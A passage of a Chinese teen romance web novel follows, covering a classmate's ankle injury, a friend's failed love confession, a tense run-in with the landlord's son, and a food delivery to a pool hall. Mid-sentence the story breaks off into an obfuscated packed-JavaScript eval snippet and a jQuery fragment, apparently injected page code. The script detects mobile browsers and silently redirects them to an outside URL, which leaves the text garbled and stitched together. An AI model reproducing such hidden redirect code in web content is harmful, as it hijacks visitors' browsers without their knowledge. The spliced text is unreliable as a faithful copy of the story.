陈筱悦伤的不是很严重,只需要静养一段时间就好,事情处理得也很快,但是孙月娥出现在医务室的时候还是把邓千梨吓了一跳。
孙月娥惯常当主任,面上不怒自威,吓得医务室里一群人都不敢说一句话,上来对着陈筱悦也是劈头盖脸地一顿责骂,说她为什么不能好好看路。
陈筱悦好像是想解释什么,但是最后却什么也没说,还是撞到人的那个同学走过来解释,和陈筱悦道了歉,又赔了医药费,这件事才算这么了结。
然而孙月娥自己的事情也很忙,开不完的会,匆匆过来看陈筱悦一眼之后就走了。
目睹了全程的邓千梨像只鹌鹑一样,看着孙月娥走了才敢走过去。
“你没事儿吧?”
陈筱悦摇摇头,但是邓千梨也能看见对方脸上的疲态,不是因为脚伤,而是因为孙月娥的出现。
“我回去静养两天,正好就拿来写作文了。”
邓千梨不知道该说些什么就坐在一旁没有说话,只是看着陈筱悦被纱布包着的脚踝。
没一会儿,沈蓦闻和撞到人的男生又出现在了医务室,还带了从小卖部买的饮料和面包过来。
“真对不起。”男生叫罗东,刚刚才走廊上做投篮动作一时忘我,没想到会撞到人,而且陈筱悦的妈妈很可怕,所以他只好趁着人走了又回来一趟,叫沈蓦闻跟着一起也是为了壮胆。
“陈同学我再向你道歉,在你的脚伤好之前你可以尽情地使唤我,这都是我应该做的。”
陈筱悦倒没有真的怪对方,也没想到罗东会再回来。
女生笑着,语气也很体贴,“真没事,医生不是说养几天就能好了吗?又不是腿断了。”
罗东吓得瞪大了眼,连忙说:“你可千万别这么说。”
这边两个人在说话,邓千梨的视线就落在了站在门口的沈蓦闻的身上。男生神情恹恹,对里面的情况也不完全不在意。
刚才的慌乱之中,邓千梨想,沈蓦闻是不是一直在她的旁边来着?
放学的时候,陈筱悦被孙月娥接走了,这两天原本都是三个人一起放学,现在又变成了邓千梨和林语安两个人。
从教学楼走到校门口有一段长长的路,路的两旁种满了芭蕉和芒果树,夜晚的校园路上都是芒果树投下的阴影。
路上呼啸而过的都是学生骑车的声音。
邓千梨拽着书包的带子问林语安:“陈筱悦的妈妈一直以来对她都是这样的吗?”
“嗯,反正我认识她起就一直是这样。”
“那她没有抱怨过吗?”
“没有呢,”林语安摇头,“筱悦的脾气很好的,没见过她发过火。”
说话间,两个人走到了校门口,对面海岸线上的风扑面而来,夏日的气息即将到临,而这夏日到来之前将会是漫长的雨季。
这几天临近期中考试,邓千梨回去之后依旧会再学个一个小时,何舟借给她一些笔记,但是邓千梨依旧不清楚两个人现在是什么关系,不过比之前来说应该算是更亲近了一点。
邓千梨刚写完作业,就看见手机上孟为康给她发了消息。
看楼下。
邓千梨看了消息,打开窗户就看见孟为康不知道什么时候蹲在楼下,嘴里还叼着一根草,看见邓千梨探头出来之后还冲着她招了招手。
邓千梨只和孟为康提过一次自己搬家的事情,这还是对方第一次找上门来。
她连忙下楼。
孟为康的头发比上次见面的时候长长了一点,,不再像是个刺猬一样,反倒是有点像多啦a梦里的大熊。
“快过来。”
孟为康冲着邓千梨招手,两个人像做贼一样,虽然邓千梨也不知道为什么碰到孟为康就自动开始四周巡逻姿势,她自己总结是孟为康这个人形象太差。
孟为康拎了几袋小吃,盘腿坐在褐楼的背面,看见邓千梨走到面前才从眼眶里挤出两滴泪来。
“怎么了?”
邓千梨见状大惊失色,吓得在原地一动不敢动,生怕孟为康像个泥塑小人一样遇水就碎了。
塑料袋因为热气水滴沾满了内壁,都有些看不清里面装的是什么。
“没什么,告白又失败了。”
邓千梨来不及纠结其中的“又”字,只是问:“还是上次的那个女生吗?”
如果不是邓千梨问的足够真诚,孟为康觉得她肯定是在嘲讽自己,好不容易挤出来的两滴泪很快的就干了,在眼尾处形成两个圆形的痕迹。
“是啊,这次小袅明确地告诉我说我们两个不可能了,上次她还只是说不喜欢我这种类型的。”
邓千梨蹲在孟为康旁边实在是不知道怎么安慰他,女生的情感太复杂,她也无从剖析。
“所以你来找我是......?”
“借酒浇愁。”
邓千梨左右看了看,幸好没有发现哪里有酒瓶子,要不然她还真不会伺候一个失恋的酒鬼。
眼看着吃的快凉了,邓千梨先把袋子解开来,在香味扑面而来中漫不经心地说;“就不能换一个人喜欢吗?”
孟为康脸都难过的红了,“不能。”
行吧,邓千梨看了看天,遥远的夜空中发出隐秘的一种深蓝,像是来自外太空的某种信号。
邓千梨故意吃东西的时候发出吧唧嘴的声音,果然没过多久孟为康的思绪就乱了,生理的本能反应抵抗住了心里的伤害。
他干巴巴地回过头,像是一个机器人一样说话:“你就不能不吃那么香吗?”
“别人辛苦做出来的美食不吃多浪费,阿康,你晚上没吃饭是不是?”
邓千梨问的信誓旦旦,她记得刚上初中的孟为康还是个小胖子,只是这两面瘦了下来,其实本质上曾经也是馋猫一个。
孟为康点点头,从邓千梨手里抢回点吃的,两个人一起坐在地上吧唧嘴。
“啪嗒”一声,还没等孟为康嘴里的东西嚼完,在两个人头顶上的白炽灯泡就亮了。
邓千梨和孟为康不约而同地一起抬起头,再一扭头看见沈蓦闻不知道什么时候出现在了拐角处,正看着两个人吃的乱七八糟的嘴巴。
邓千梨看见沈蓦闻还有些别扭,手里吃一半的东西都不知道该怎么拿。
还没等她开口说话,倒是孟为康“蹭”的一下站起来,用沾满了料汁的手指着沈蓦闻吱哇乱叫。
“你谁啊你。”
沈蓦闻阴沉的眸子盯着孟为康的手指,像是下一秒就要过去把那不礼貌的东西掰成两半。
许是看出了沈蓦闻眼底的不高兴,邓千梨也立马站了起来,把孟为康的手指拦了下来。后者平常在他们学校没规矩惯了,但是遇上沈蓦闻这样的人还是得低调点。
在学校里一个,在学校外面还有一个,沈蓦闻很想知道这男生知道邓千梨这么做吗?
“你在我家偷偷摸摸的,还问我是谁?”
沈蓦闻双手交叉放在胸前,上半个身子靠在墙上,脸上阴沉的表情已经消失不见,因为他知道面前的这个男生也是个傻的,能被邓千梨这样的人耍的团团转可见也没聪明到哪里去。
孟为康看看邓千梨,又看看沈蓦闻,最后抬头看了看身后的这栋楼,的确不像是只有邓千梨一家在这里住,大概猜测面前这个人很可能是邓千梨房东家的小孩。
“那个......”孟为康想用他爸爸在商场上的那一套来社交,手刚伸出去就看到上面的油污,一下子又不好意思地把手抽了回来。
“不好意思啊,我们聊天也打搅到你吧?”
一看沈蓦闻就和他们学校的那些刺头不一样,孟为康明白也不能那自己在学校的那一套去交流,更何况这个人还是邓千梨的房东,要是自己哪里做的不好,他人一走邓千梨就被欺负了怎么办?
“对了,你叫什么名字啊?”
沈蓦闻抬了抬眼皮,看见对面好像有一只狗在摇尾巴,时不时地还冲着他叫两下,声音难听死了,毛也秃。
邓千梨怎么就喜欢这种人不人狗不狗的?
孟为康不知道沈蓦闻心里在想什么,只是敏感地察觉到面前这个人傲慢至极,自己说了那么多的话对方却十分吝啬开口。
可见平常邓千梨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459187|169672||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也少不了这样对待,一想到这个,孟为康脸色一下子就不好了。
他脸皮厚,嘻嘻哈哈的糊弄一下就行了。邓千梨和这个人住在同一个屋檐下,要是一直被霸凌怎么办?
孟为康用另一只干净的手把邓千梨拉倒自己的身后,突然态度一百八十度大转变,对着沈蓦闻不客气地说:“她是我罩的。”
邓千梨听完只想拍自己的脑门,这个人在哪里学的古惑仔,还搞拉帮结派那一套?
她又看了看沈蓦闻的体型,这个人比孟为康还高那么一点,要是真打起来还不知道谁吃亏。
邓千梨不想孟为康心里受伤,最后身体上还受伤,只好从他的身后走了出来,把人拉回自己的身后。
“安静待着吧你。”
孟为康什么时候被这么霸道地对待,一下子在原地就愣住了,眼睛眨巴眨巴,结果对上了沈蓦闻含着戏谑的眼神。
“你是不是想挨打?”
孟为康在邓千梨身后竖了竖拳头,一副大有你不听话我就要用武力解决问题的意思,然而这种方式在身蓦闻眼里就和小儿科没什么区别。
“和你打架,我怕脏了我的手。”
沈蓦闻说话依旧是那么不客气,底气十足高高在上,邓千梨听着不舒服,眼底也不禁浮上一点恨意。
亏得她之前那么好言好语,看来全都是喂了狗吃。
为了避免冲突,邓千梨拉着孟为康就往外走,路过沈蓦闻的时候说:“不打扰你行了吧。”
孟为康嚣张混吝,邓千梨自甘堕落与人为伍,沈蓦闻看着两个人离开的身影,难得的在面上就表现出厌恶的神情。
美兰排挡开起来之后生意是越来越红火,虽然家长们早出晚归,但是进账的款项也不少,大家的生活开始有了奔头。
邓千梨平时周末没事的时候也会过去帮忙上菜,这次她去的时候陈君美不在,听兰有芳说是去参加政府召开的座谈会去了。
陈君美不在,大堂里的事情都是交给兰有芳来做,有别人打电话来订餐也得她记下来。
“跑腿的到现在没回来,这个人催得又急,已经打了两遍电话来了。”
兰有芳忙得焦头烂额,没想到店里那么快人手就不够用了,一时也不知道是该高兴还是该忧愁。
“等你妈回来,我得和她商量一下招工的事情。”
邓千梨刚给一桌客人上完菜,围裙还穿在身上,闻言走过去说:“送餐的地方远不远?要不然我去送算了。”
兰有芳拿起记餐的本子,“还真不远,就在街对面的二楼的台球厅,阿梨,你要去吗?”
说实话兰有芳有些不放心让邓千梨去送餐,不是怕她事情做不好,而是觉得一个女孩出去送餐总是不太稳妥,不知道对面都会是什么样的人。
“没事,”邓千梨围裙也不打算解了,冲兰有芳笑笑,“我去去就回。”
兰有芳应了一声,嘴上说也不知道沈蓦闻跑到哪里去了。
邓千梨想起来一大早上她就看见沈蓦闻出了门,到现在没回来恐怕是在外面和人约会,总不能是跑去学习去了吧。
她觉得沈蓦闻这个人才不会这么努力。
邓千梨只是在心里想想,嘴上什么都没说。
兰有芳替她把包装袋打包好之后就拎着餐向着街对面走去。
邓千梨知道这个地方,吉吉岛的娱乐设施基本都在这一栋楼里,这二楼的台球厅更是不良少年集聚地。
她到了前台之后,看着坐在里面和别人聊着天的老板问:“你们这里刚刚谁订餐了?”
老板摆摆手,顾客的事情他哪里知道,于是语气上有些不耐烦,“你去里面问问看。”
邓千梨深吸一口气,只见里面烟雾缭绕,她觉得自己进去之后恐怕能少活十年,但是手上的工作却耽误不得,只能硬着头皮走进去。
还没等她开口问是谁点的餐,倒是一个熟悉的身影先一步闯进了她的视线。
陈筱悦和一个男生靠的很近,女生手里拿着一个台球杆,和对方言笑晏晏。
邓千梨觉得自己好像是见鬼了一样。